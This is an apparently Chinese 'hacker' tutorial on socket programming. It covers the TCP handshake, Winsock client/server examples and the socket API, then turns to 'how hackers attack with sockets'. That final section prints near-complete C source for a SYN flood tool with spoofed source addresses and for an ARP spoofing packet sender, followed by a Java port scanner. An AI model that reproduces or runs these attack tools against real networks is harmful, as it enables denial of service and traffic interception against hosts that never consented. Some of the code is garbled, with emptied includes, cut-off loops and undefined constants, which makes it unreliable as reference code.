“黑客”深度學習之“Socket網絡編程詳解”

大家都是知道在黑客網絡攻防中,熟悉網絡通信原理很重要,之前我也寫過相關文章,只要瞭解通信過程,就可以利用過程中存在的漏洞進行攻防,那麼在實現攻防的時候,作為一名黑客一定要學會網絡編程,而網絡編程中很重要的一個環節就是

"Socket"的學習和使用!

今天就以本篇文章內容給小夥伴們詳細闡述一下"Socket技術原理與實現"。

一、 什麼是"Socket"

在網絡中,根據IP我們可以識別具體的主機,再根據tcp協議+端口我們就可以識別具體主機通訊的進程了;那麼socket在其中扮演者什麼樣的角色呢?

我們經常把socket定義為套接字socket是在應用層和傳輸層之間的一個抽象層,它把TCP/IP層複雜的操作抽象為幾個簡單的接口供應用層調用已實現進程在網絡中通信。 下面是網絡分層以及socket在分層中的實際位置:

“黑客”深度學習之“Socket網絡編程詳解”

我們可以發現socket就在應用程序的傳輸層和應用層之間,設計了一個socket抽象層,傳輸層的底一層的服務提供給socket抽象層,socket抽象層再提供給應用層,問題又來了,應用層和socket抽象層之間和傳輸層,網絡層之間如何通訊的呢,要想理解socket編程怎麼通過socket關鍵詞實現和客戶端通訊,必須得實現的瞭解tcp/ip是怎麼通訊的,在這個的基礎上在去理解socket的握手通訊

在tcp/ip協議中,tcp通過三次握手建立起一個tcp的鏈接,大致如下

第一次握手:客戶端嘗試連接服務器,向服務器發送syn包,syn=j,客戶端進入SYN_SEND狀態等待服務器確認

第二次握手:服務器接收客戶端syn包並確認(ack=j+1),同時向客戶端發送一個SYN包(syn=k),即SYN+ACK包,此時服務器進入SYN_RECV狀態

第三次握手:客戶端收到服務器的SYN+ACK包,向服務器發送確認包ACK(ack=k+1),此包發送完畢,客戶端和服務器進入ESTABLISHED狀態,完成三次握手

三次握手如下圖

“黑客”深度學習之“Socket網絡編程詳解”

根據tcp的三次握手,socket也定義了三次握手,如下圖:

“黑客”深度學習之“Socket網絡編程詳解”

在上面圖的基礎上,如果我們得到上面的圖形,需要我們自己開發一些接口。所以程序大牛們將這些抽象化的理念接口化,針對協議提出的每個理念,專門的編寫制定的接口,與其協議一一對應,形成了現在的socket標準規範,然後將其接口封裝成可以調用的接口,供開發者使用,目前,開發者開發出了很多封裝的類來完善socket編程,都是更加方便的實現剛開始socket通信的各個環節。

小結:

1、socket即為套接字,在TCP/IP協議中,"IP地址+TCP或UDP端口號"唯一的標識網絡通訊中的一個進程,"IP地址+TCP或UDP端口號"就為socket。

2、在TCP協議中,建立連接的兩個進程(客戶端和服務器)各自有一個socket來標識,則這兩個socket組成的socket pair就唯一標識一個連接。

3、socket本身就有"插座"的意思,因此用來形容網絡連接的一對一關係,為TCP/IP協議設計的應用層編程接口稱為socket API。

二、 socket通信基本原理

通過上面我們理解了socket通訊過程,那我們作為編程需要哪些函數來實現呢,如下:

第一次握手:客戶端需要發送一個syn j 包,試著去鏈接服務器端,於是客戶端我們需要提供一個鏈接函數

第二次握手:服務器端需要接收客戶端發送過來的syn J+1 包,然後在發送ack包,所以我們需要有服務器端接受處理函數

第三次握手:客戶端的處理函數和服務器端的處理函數

三次握手只是一個數據傳輸的過程,但是,我們傳輸前需要一些準備工作,比如將創建一個套接字,收集一些計算機的資源,將一些資源綁定套接字裡面,以及接受和發送數據的函數等等,這些功能接口在一起構成了socket的編程

下面大致的按照客戶端和服務端將所需的函數和原理過程:

“黑客”深度學習之“Socket網絡編程詳解”

首先,服務端初始化ServerSocket,然後對指定的端口進行綁定,接著對端口及進行監聽,通過調用accept方法阻塞,此時,如果客戶端有一個socket連接到服務端,那麼服務端通過監聽和accept方法可以與客戶端進行連接。

socket通信基本原理明白後,那我們就寫一個最簡單的示例,來理解通信過程:

客戶端的代碼:

[cpp] 
1. #include <winsock2.h>
2. #include <stdio.h>
3. #pragma comment(lib,"ws2_32.lib")
4. int main()
5. {
6. //SOCKET前的一些檢查,檢查協議庫的版本,為了避免別的版本的socket,並且通過
7. //WSAStartup啟動對應的版本,WSAStartup的參數一個是版本信息,一個是一些詳細的細節,注意高低位
8. //WSAStartup與WSACleanup對應
9. int err;
10. WORD versionRequired;
11. WSADATA wsaData;
12. versionRequired=MAKEWORD(1,1);
13. err=WSAStartup(versionRequired,&wsaData);//協議庫的版本信息
14.
15. //通過WSACleanup的返回值來確定socket協議是否啟動
16. if (!err)
17. {
18. printf("客戶端嵌套字已經打開!\n");

19. }
20. else
21. {
22. printf("客戶端的嵌套字打開失敗!\n");
23. return 0;//結束
24. }
25. //創建socket這個關鍵詞,這裡想一下那個圖形中的socket抽象層
26. //注意socket這個函數,他三個參數定義了socket的所處的系統,socket的類型,以及一些其他信息
27. SOCKET clientSocket=socket(AF_INET,SOCK_STREAM,0);
28.
29. //socket編程中,它定義了一個結構體SOCKADDR_IN來存計算機的一些信息,像socket的系統,
30. //端口號,ip地址等信息,這裡存儲的是服務器端的計算機的信息
31. SOCKADDR_IN clientsock_in;
32. clientsock_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
33. clientsock_in.sin_family=AF_INET;
34. clientsock_in.sin_port=htons(6000);
35.
36. //前期定義了套接字,定義了服務器端的計算機的一些信息存儲在clientsock_in中,
37. //準備工作完成後,然後開始將這個套接字鏈接到遠程的計算機
38. //也就是第一次握手
39.
40. connect(clientSocket,(SOCKADDR*)&clientsock_in,sizeof(SOCKADDR));//開始連接
41.
42.
43. char receiveBuf[100];
44.
45. //解釋socket裡面的內容
46. recv(clientSocket,receiveBuf,101,0);
47. printf("%s\n",receiveBuf);
48.

49. //發送socket數據
50. send(clientSocket,"hello,this is client",strlen("hello,this is client")+1,0);
51.
52. //關閉套接字
53. closesocket(clientSocket);
54. //關閉服務
55. WSACleanup();
56. return 0;
57. }
/<stdio.h>/<winsock2.h>

對應的服務端的代碼:

[cpp] 
1. #include <winsock2.h>
2. #include <stdio.h>
3. #pragma comment(lib,"ws2_32.lib")
4. int main()
5. {
6. //創建套接字,socket前的一些檢查工作,包括服務的啟動
7. WORD myVersionRequest;
8. WSADATA wsaData;
9. myVersionRequest=MAKEWORD(1,1);
10. int err;
11. err=WSAStartup(myVersionRequest,&wsaData);
12. if (!err)
13. {
14. printf("已打開套接字\n");
15. }
16. else
17. {
18. //進一步綁定套接字
19. printf("嵌套字未打開!");
20. return 0;
21. }
22. SOCKET serSocket=socket(AF_INET,SOCK_STREAM,0);//創建了可識別套接字
23. //需要綁定的參數,主要是本地的socket的一些信息。
24. SOCKADDR_IN addr;
25. addr.sin_family=AF_INET;

26. addr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);//ip地址
27. addr.sin_port=htons(6000);//綁定端口
28.
29. bind(serSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR));//綁定完成
30. listen(serSocket,5);//其中第二個參數代表能夠接收的最多的連接數
31.
32. SOCKADDR_IN clientsocket;
33. int len=sizeof(SOCKADDR);
34. while (1)
35. {
36. //第二次握手,通過accept來接受對方的套接字的信息
37. SOCKET serConn=accept(serSocket,(SOCKADDR*)&clientsocket,&len);//如果這裡不是accept而是conection的話。。就會不斷的監聽
38. char sendBuf[100];
39. sprintf(sendBuf,"welcome %s to bejing",inet_ntoa(clientsocket.sin_addr));//找對對應的IP並且將這行字打印到那裡
40. //發送信息
41. send(serConn,sendBuf,strlen(sendBuf)+1,0);
42. char receiveBuf[100];//接收
43. recv(serConn,receiveBuf,strlen(receiveBuf)+1,0);
44. printf("%s\n",receiveBuf);
45. closesocket(serConn);//關閉
46. WSACleanup();//釋放資源的操作
47. }
48. return 0;
49. }
/<stdio.h>/<winsock2.h>

三、 Socket下的函數詳解

用程序在使用套接字前,首先必須擁有一個套接字,系統調用socket()嚮應用程序提供創建套接字的手段,其調用格式如下:

[cpp] 
1. SOCKET PASCAL FAR socket(int af, int type, int protocol)

該調用要接收三個參數:af、type、protocol。參數af指定通信發生的區域:AF_UNIX、AF_INET、AF_NS等,而DOS、WINDOWS中僅支持AF_INET,它是網際網區域。因此,地址族與協議族相同。參數type 描述要建立的套接字的類型。這裡分三種:

(1)一是TCP流式套接字(SOCK_STREAM)提供了一個面向連接、可靠的數據傳輸服務,數據無差錯、無重複地發送,且按發送順序接收。內設流量控制,避免數據流超限;數據被看作是字節流,無長度限制。文件傳送協議(FTP)即使用流式套接字。

(2)二是數據報式套接字(SOCK_DGRAM)提供了一個無連接服務。數據包以獨立包形式被髮送,不提供無錯保證,數據可能丟失或重複,並且接收順序混亂。網絡文件系統(NFS)使用數據報式套接字。

(3)三是原始式套接字(SOCK_RAW)該接口允許對較低層協議,如IP、ICMP直接訪問。常用於檢驗新的協議實現或訪問現有服務中配置的新設備。

參數protocol說明該套接字使用的特定協議,如果調用者不希望特別指定使用的協議,則置為0,使用默認的連接模式。根據這三個參數建立一個套接字,並將相應的資源分配給它,同時返回一個整型套接字號。因此,socket()系統調用實際上指定了相關五元組中的"協議"這一元。

1、指定本地地址──bind()

當一個套接字用socket()創建後,存在一個名字空間(地址族),但它沒有被命名。bind()將套接字地址(包括本地主機地址和本地端口地址)與所創建的套接字號聯繫起來,即將名字賦予套接字,以指定本地半相關。其調用格式如下:

[cpp] 
1. int PASCAL FAR bind(SOCKET s, const struct sockaddr FAR * name, int namelen);

參數s是由socket()調用返回的並且未作連接的套接字描述符(套接字號)。參數name 是賦給套接字s的本地地址(名字),其長度可變,結構隨通信域的不同而不同。namelen表明了name的長度。如果沒有錯誤發生,bind()返回0。否則返回SOCKET_ERROR。

2、建立套接字連接──connect()與accept()

這兩個系統調用用於完成一個完整相關的建立,其中connect()用於建立連接。accept()用於使服務器等待來自某客戶進程的實際連接。

connect()的調用格式如下:

[cpp] 
1. int PASCAL FAR connect(SOCKET s, const struct sockaddr FAR * name, int namelen);

參數s是欲建立連接的本地套接字描述符。參數name指出說明對方套接字地址結構的指針。對方套接字地址長度由namelen說明。

如果沒有錯誤發生,connect()返回0。否則返回值SOCKET_ERROR。在面向連接的協議中,該調用導致本地系統和外部系統之間連接實際建立。

由於地址族總被包含在套接字地址結構的前兩個字節中,並通過socket()調用與某個協議族相關。因此bind()和connect()無須協議作為參數。

accept()的調用格式如下:

[cpp] 
1. SOCKET PASCAL FAR accept(SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen);

參數s為本地套接字描述符,在用做accept()調用的參數前應該先調用過listen()。addr 指向客戶方套接字地址結構的指針,用來接收連接實體的地址。addr的確切格式由套接字創建時建立的地址族決定。addrlen 為客戶方套接字地址的長度(字節數)。如果沒有錯誤發生,accept()返回一個SOCKET類型的值,表示接收到的套接字的描述符。否則返回值INVALID_SOCKET。

accept()用於面向連接服務器。參數addr和addrlen存放客戶方的地址信息。調用前,參數addr 指向一個初始值為空的地址結構,而addrlen 的初始值為0;調用accept()後,服務器等待從編號為s的套接字上接受客戶連接請求,而連接請求是由客戶方的connect()調用發出的。當有連接請求到達時,accept()調用將請求連接隊列上的第一個客戶方套接字地址及長度放入addr 和addrlen,並創建一個與s有相同特性的新套接字號。新的套接字可用於處理服務器併發請求。

四個套接字系統調用,socket()、bind()、connect()、accept(),可以完成一個完全五元相關的建立。socket()指定五元組中的協議元,它的用法與是否為客戶或服務器、是否面向連接無關。bind()指定五元組中的本地二元,即本地主機地址和端口號,其用法與是否面向連接有關:在服務器方,無論是否面向連接,均要調用bind(),若採用面向連接,則可以不調用bind(),而通過connect()自動完成。若採用無連接,客戶方必須使用bind()以獲得一個唯一的地址。

3、監聽連接──listen()

此調用用於面向連接服務器,表明它願意接收連接。listen()需在accept()之前調用,其調用格式如下:

[cpp] 
1. int PASCAL FAR listen(SOCKET s, int backlog);

參數s標識一個本地已建立、尚未連接的套接字號,服務器願意從它上面接收請求。backlog表示請求連接隊列的最大長度,用於限制排隊請求的個數,目前允許的最大值為5。如果沒有錯誤發生,listen()返回0。否則它返回SOCKET_ERROR。

listen()在執行調用過程中可為沒有調用過bind()的套接字s完成所必須的連接,並建立長度為backlog的請求連接隊列。

調用listen()是服務器接收一個連接請求的四個步驟中的第三步。它在調用socket()分配一個流套接字,且調用bind()給s賦於一個名字之後調用,而且一定要在accept()之前調用。

4、數據傳輸──send()與recv()

當一個連接建立以後,就可以傳輸數據了。常用的系統調用有send()和recv()。

send()調用用於s指定的已連接的數據報或流套接字上發送輸出數據,格式如下:

[cpp] 
1. int PASCAL FAR send(SOCKET s, const char FAR *buf, int len, int flags);

參數s為已連接的本地套接字描述符。buf 指向存有發送數據的緩衝區的指針,其長度由len 指定。flags 指定傳輸控制方式,如是否發送帶外數據等。如果沒有錯誤發生,send()返回總共發送的字節數。否則它返回SOCKET_ERROR。

recv()調用用於s指定的已連接的數據報或流套接字上接收輸入數據,格式如下:

[cpp] 
1. int PASCAL FAR recv(SOCKET s, char FAR *buf, int len, int flags);

參數s 為已連接的套接字描述符。buf指向接收輸入數據緩衝區的指針,其長度由len 指定。flags 指定傳輸控制方式,如是否接收帶外數據等。如果沒有錯誤發生,recv()返回總共接收的字節數。如果連接被關閉,返回0。否則它返回SOCKET_ERROR。

輸入/輸出多路複用──select()

select()調用用來檢測一個或多個套接字的狀態。對每一個套接字來說,這個調用可以請求讀、寫或錯誤狀態方面的信息。請求給定狀態的套接字集合由一個fd_set結構指示。在返回時,此結構被更新,以反映那些滿足特定條件的套接字的子集,同時, select()調用返回滿足條件的套接字的數目,其調用格式如下:

[cpp] 
1. int PASCAL FAR select(int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout);

參數nfds指明被檢查的套接字描述符的值域,此變量一般被忽略。

參數readfds指向要做讀檢測的套接字描述符集合的指針,調用者希望從中讀取數據。參數writefds 指向要做寫檢測的套接字描述符集合的指針。exceptfds指向要檢測是否出錯的套接字描述符集合的指針。timeout指向select()函數等待的最大時間,如果設為NULL則為阻塞操作。select()返回包含在fd_set結構中已準備好的套接字描述符的總數目,或者是發生錯誤則返回SOCKET_ERROR。

5、關閉套接字──closesocket()

closesocket()關閉套接字s,並釋放分配給該套接字的資源;如果s涉及一個打開的TCP連接,則該連接被釋放。closesocket()的調用格式如下:

[cpp] 
1. BOOL PASCAL FAR closesocket(SOCKET s);

參數s待關閉的套接字描述符。如果沒有錯誤發生,closesocket()返回0。否則返回值SOCKET_ERROR。

四、黑客如何利用socket編程實現網絡攻擊

1、 DDOS攻擊實例

#include 
#include
#include
#include
#include
#include
#include
#include
#include
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int DESTPORT;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc != 3)
{
fprintf(stderr,"Usage:dos host port./n");
exit(1);
}
DESTPORT = atoi(argv[2]);
printf("no is attacking host %s with port %d../n",argv[1],DESTPORT);
//printf("ok started!/n");

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());

/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}



/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
int i;

struct tcphdr *tcp;
int head_len;

/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);


/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/

/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;


/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)

{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

2、 arp攻擊實例

#include 
#include
#include
#include
#include
#include
#include
/*#include */
#include
#include

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet./n
/tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times /n/n"};

struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

int j,number;

if(argc != 6)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket error!");
exit(1);
}

number = atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
printf("now is sending the num: %i packet/n",j);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%s/n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;


in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s/n",str);
exit(1);
}
}
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf++ |= val;

if(*str == ':')str++;
}
}

3、Socket類端口掃描器

import java.net.*;
import java.io.*;
//端口掃描
public class JPortScanner {
private String host; //目標主機
private int fromPort; //起始端口
private int toPort; //結束端口
public JPortScanner(String host, int fromPort, int toPort) {
this.host = host;

this.fromPort = fromPort;
this.toPort = toPort;
}
public JPortScanner(String host) {
this(host, 1, 1023); //默認端口範圍: 1-1023
}
public void start() {
Socket connect = null;
for(int port=this.fromPort; port<=this.toPort; port++) {
try {
connect = new Socket(host, port);
System.out.println("開放端口: " + port);
}
catch(UnknownHostException e) {
System.err.println("無法識別主機: " + host);
break;
}
catch(IOException e) {
System.out.println("未響應端口: " + port);
}
finally {
try {
connect.close();
}catch(Exception e) {}
}
}
}
public static void main(String[] args) {
if(args.length == 1) {//命令行參數指定主機
(new JPortScanner(args[0])).start();
}
else if(args.length == 3) {//命令行參數指定主機、起始端口和結束端口
(new JPortScanner(args[0],
Integer.parseInt(args[1]),Integer.parseInt(args[2]))).start();
}
else { //命令格式
System.out.println("Usage:java JPortScanner [FromPort] [ToPort]");
}
}
}


分享到:


相關文章: